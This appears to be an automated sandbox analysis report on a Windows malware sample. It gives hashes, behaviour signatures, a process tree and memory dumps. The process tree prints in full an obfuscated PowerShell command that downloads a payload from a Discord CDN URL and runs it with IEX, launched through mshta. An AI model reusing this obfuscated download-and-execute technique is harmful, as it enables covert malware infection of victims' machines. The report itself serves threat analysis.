Analysis

  • max time kernel
    64s
  • max time network
    127s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    21-07-2021 20:45

General

  • Target

    e27318b5d518aedb83accec2767fa87d.exe

  • Size

    326KB

  • MD5

    e27318b5d518aedb83accec2767fa87d

  • SHA1

    b66e7afa9b5c6bf8fa0634f0490b25c5cfd9d20e

  • SHA256

    e15a30747a6b21794d76525b32ee3c32521bb917839ae3b2519f4e174cfe107f

  • SHA512

    90c0bc18234036b9e802bf2aefdff646e866ad4313f8d9b063c7a5c9d4b4031f4824e5d535964295411216b12e6efc169ffc11ebaa7cdcb97d181a66fc57cbaa

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/862345240970264589/867428387840983060/langwige.txt

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e27318b5d518aedb83accec2767fa87d.exe
    "C:\Users\Admin\AppData\Local\Temp\e27318b5d518aedb83accec2767fa87d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:908
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/862345240970264589/867428528105848832/uninstall.txt
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://cdn.discordapp.com/attachments/862345240970264589/867428387840983060/langwige.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:632
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1184

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/632-148-0x000001B5F80A0000-0x000001B5F80AE000-memory.dmp

    Filesize

    56KB

  • memory/632-130-0x000001B5F80D3000-0x000001B5F80D5000-memory.dmp

    Filesize

    8KB

  • memory/632-118-0x0000000000000000-mapping.dmp

  • memory/632-125-0x000001B5F8040000-0x000001B5F8041000-memory.dmp

    Filesize

    4KB

  • memory/632-137-0x000001B5F80D6000-0x000001B5F80D8000-memory.dmp

    Filesize

    8KB

  • memory/632-129-0x000001B5F80D0000-0x000001B5F80D2000-memory.dmp

    Filesize

    8KB

  • memory/632-128-0x000001B5F8FA0000-0x000001B5F8FA1000-memory.dmp

    Filesize

    4KB

  • memory/908-114-0x0000000000770000-0x0000000000771000-memory.dmp

    Filesize

    4KB

  • memory/1184-149-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/1184-150-0x0000000000411EC6-mapping.dmp

  • memory/1184-156-0x0000000005D10000-0x0000000005D11000-memory.dmp

    Filesize

    4KB

  • memory/1184-157-0x0000000005810000-0x0000000005811000-memory.dmp

    Filesize

    4KB

  • memory/1184-158-0x00000000059F0000-0x00000000059F1000-memory.dmp

    Filesize

    4KB

  • memory/1184-159-0x0000000005920000-0x0000000005921000-memory.dmp

    Filesize

    4KB

  • memory/1184-160-0x0000000005810000-0x0000000005D0E000-memory.dmp

    Filesize

    5.0MB

  • memory/2108-116-0x0000000000000000-mapping.dmp